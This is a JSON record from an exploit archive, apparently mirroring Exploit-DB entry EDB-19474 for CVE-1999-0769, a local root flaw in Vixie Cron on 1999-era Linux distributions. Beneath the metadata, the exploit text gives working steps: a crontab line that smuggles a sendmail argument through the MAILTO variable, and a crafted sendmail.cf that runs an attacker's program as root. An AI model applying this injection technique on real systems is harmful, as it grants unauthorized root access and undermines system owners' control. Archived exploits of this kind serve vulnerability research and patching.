{"exploit":{"id":"EDB-19474","name":"Caldera OpenLinux 2.2 / Debian 2.1/2.2 / Red Hat 6.0 - Vixie Cron MAILTO Sendmail","description":"Caldera OpenLinux 2.2 / Debian 2.1/2.2 / Red Hat 6.0 - Vixie Cron MAILTO Sendmail","cves":["CVE-1999-0769"],"author":"Olaf Kirch","published":"1999-08-25","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/19474","path":"exploits/linux/local/19474.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-19474.txt","vulnerabilities":[{"id":"CVE-1999-0769","state":"PUBLISHED","title":null,"titleSource":null,"description":"Vixie Cron on Linux systems allows local users to set parameters of sendmail commands via the MAILTO environmental variable.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-0769","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-0769"},"updatedAt":"2024-08-01T16:48:37.890Z","retrievedAt":"2026-11-27T18:07:31.110Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-19474.png?v=2","url":"https://exploitbin.com/exploits/EDB-19474","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-19474/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-19474/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability\n\nsource: https://web.archive.org/web/1999/https://www.securityfocus.com/bid/611/info\n\nFailure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.\n\nThe cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access.\n\n\nSet the user's crontab to\n\nMAILTO=\" -C/tmp/myexploitsendmail.cf\"\n* * * * * ls\n\nIn /tmp/myexploitsendmail.cf you basically modify the local mailer:\n\nO DefaultUser=root:root\nMlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,\nR=20/40,\nT=DNS/RFC822/X-Unix,\nA=mail.local -l\n\ni.e. remove the S flag, and set DefaultUser.","sha256":"09e6ede5caeadf1c01eaa2c49a9e90f57d406fd018f82ae433a4f8c0349dd318","bytes":1143,"fetchedAt":"2026-11-27T18:07:29.345Z","encoding":"utf-8 (display only; download retains original bytes)"}